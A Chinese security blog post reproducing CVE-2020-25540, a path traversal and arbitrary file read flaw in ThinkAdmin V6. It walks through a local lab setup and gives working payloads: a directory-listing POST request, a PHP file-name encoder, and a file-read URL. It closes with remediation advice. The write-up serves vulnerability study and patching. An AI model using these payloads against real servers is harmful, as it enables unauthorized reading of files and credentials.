freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ThinkAdmin(CVE-2020-25540)漏洞复现
2022-03-08 15:35:55
所属地 黑龙江省

0x00简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin 非常适用快速二次开发,默认集成 微信开发组件,支持微信服务号,微信支付,支付宝支付,阿里云OSS存储,七牛云存储,本地服务器存储。,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。


0x01漏洞概述

ThinkAdmin V6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。


0x02影响版本

ThinkAdmin版本小于 ≤ 2020.08.03.01


0x03漏洞名称及编号

CVE-2020-25540

ThinkAdmin 目录遍历/文件读取漏洞


0x04环境搭建

phpstudy2018+ThinkAdmin v6.0

Composer命令

1)安装Composer命令,phpstudy中PHP设置成7.1或以上版本,并把对应的文件夹放入环境变量path中

2)在phpstudy服务器中打开php.ini文件,找到extension=php_openssl.dll前面的分号去掉,意思是打开ssl扩展,目的是为了能在cmd命令中能进行访问


3)安装composer.phar,找到下载内容的地方,去下载当前最新版本的composer.phar,双击安装,不用勾选

下载地址https://getcomposer.org/Composer-Setup.exe


4)配置环境变量后自动选择了

然后一直下一步,安装完成

5)安装完成后在cmd命令行输入composer查看是否安装成功

6)设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

7)搜索下载ThinkAdminV6的漏洞版本到本地

8)进入ThinkAdmin目录进行安装

composer install

9)然后进config/database.php目录下修改配置文件,需要创建一个数据库

10)php进行运行 php think run

http://ip:8000打开页面

0x05漏洞复现

1.目录遍历

1.1 使用burp抓取首页的包,发送到Repeater模块构造数据包获取目录

1.2 在Repeater模块中把GET修改成POST,url修改成/admin.html?s=admin/api.Update/node,在下面输入rules=%5b%22%2f%22%5d //编码为url编码 解码为["/"]

1.3点击”Send”发送,可以看到返回包中带有目录列表了

注:要是没有返回列表可修改payload中的路径,然后使用url编码即可


2. 任意文件读取

2.1 我们在根目录下创建文件flag.txt,内容为flag{s4d6f54s}

2.2 在使用加密函数对flag.txt进行加密,使用php运行加密函数得到2u302p2v1a383c38文件名

<?phpfunction encode($content){list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);return $chars;}$content="flag.txt";echo encode($content);?>

2.3 访问下面链接即可读取到flag.txt(读其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/2u302p2v1a383c38

2.4 复制后面使用base64加密的一段字符串,解码出来就是flag.txt里的内容

0x06修复方式

1.升级到2020.08.03.01之后的版本

2.使用官方的临时修复方案

https://github.com/zoujingli/ThinkAdmin/issues/244

# 漏洞复现
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录